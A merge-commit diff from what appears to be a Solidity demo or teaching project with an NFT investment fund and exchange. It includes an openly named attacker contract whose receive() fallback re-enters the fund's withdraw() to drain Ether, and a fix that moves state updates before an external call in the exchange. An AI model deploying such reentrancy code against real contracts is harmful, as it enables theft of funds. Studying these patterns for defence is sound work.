Merge commit 'dac44b254ddf2a9e1ffdb27c001878805e442606'

contracts/MallorysMaliciousMisappropriation.sol

@@ -7,7 +7,6 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
 
 contract MallorysMaliciousMisappropriation is Ownable {
 	NftInvestmentFund public nftInvestmentFund;
-	uint256 private tokenCount;
 
 	error InvestmentFundNotEnded();
 	error FailedToSendEther();
@@ -19,8 +18,11 @@ contract MallorysMaliciousMisappropriation is Ownable {
 	// Receive is called when the contract receives Ether
 	// solhint-disable-next-line no-complex-fallback
 	receive() external payable {
+		FundToken fundToken = FundToken(nftInvestmentFund.fundToken());
+		uint256 withdrawAmount = (nftInvestmentFund.balanceAtEnd() / nftInvestmentFund.fundTokensAtEnd()) *
+			fundToken.balanceOf(address(this));
+
 		// The attack
-		uint256 withdrawAmount = (nftInvestmentFund.balanceAtEnd() / nftInvestmentFund.fundTokensAtEnd()) * tokenCount;
 		if (address(nftInvestmentFund).balance >= withdrawAmount) {
 			nftInvestmentFund.withdraw();
 		}
@@ -30,8 +32,7 @@ contract MallorysMaliciousMisappropriation is Ownable {
 		if (!nftInvestmentFund.ended()) revert InvestmentFundNotEnded();
 
 		FundToken fundToken = FundToken(nftInvestmentFund.fundToken());
-		tokenCount = fundToken.balanceOf(address(this));
-		fundToken.approve(address(nftInvestmentFund), tokenCount);
+		fundToken.approve(address(nftInvestmentFund), fundToken.balanceOf(address(this)));
 
 		nftInvestmentFund.withdraw();
 	}

contracts/NftExchange.sol

@@ -65,13 +65,12 @@ contract NftExchange is Pausable, Ownable, IERC721Receiver {
 		if (listing.isSold) revert NFTAlreadySold();
 		if (msg.value < listing.price) revert InsufficientFunds();
 
+		listing.isSold = true;
+		emit NftSold(listingId, msg.sender);
+
 		(bool sent, ) = listing.seller.call{ value: listing.price }("");
 		if (!sent) revert FailedToSendEther();
 		IERC721(listing.nftContract).safeTransferFrom(address(this), msg.sender, listing.nftTokenId);
-
-		listing.isSold = true;
-
-		emit NftSold(listingId, msg.sender);
 	}
 
 	function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {

contracts/NftInvestmentFund.sol

@@ -118,21 +118,6 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver {
 		exchange.buyNFT{ value: price }(listingId);
 	}
 
-	// Handle receiving NFT
-	function onERC721Received(
-		address,
-		address,
-		uint256 tokenId,
-		bytes calldata
-	) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) returns (bytes4) {
-		if (ownedNftTokenIds[msg.sender].length == 0) {
-			ownedNftAddresses.push(msg.sender);
-		}
-		ownedNftTokenIds[msg.sender].push(tokenId);
-
-		return IERC721Receiver.onERC721Received.selector;
-	}
-
 	// Register NFT not transferred via safeTransferFrom
 	function registerNFT(
 		address nftAddress,
@@ -197,6 +182,21 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver {
 
 	receive() external payable {}
 
+	// Handle receiving NFT
+	function onERC721Received(
+		address,
+		address,
+		uint256 tokenId,
+		bytes calldata
+	) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) returns (bytes4) {
+		if (ownedNftTokenIds[msg.sender].length == 0) {
+			ownedNftAddresses.push(msg.sender);
+		}
+		ownedNftTokenIds[msg.sender].push(tokenId);
+
+		return IERC721Receiver.onERC721Received.selector;
+	}
+
 	function ownedNftAddressesCount() external view returns (uint256) {
 		return ownedNftAddresses.length;
 	}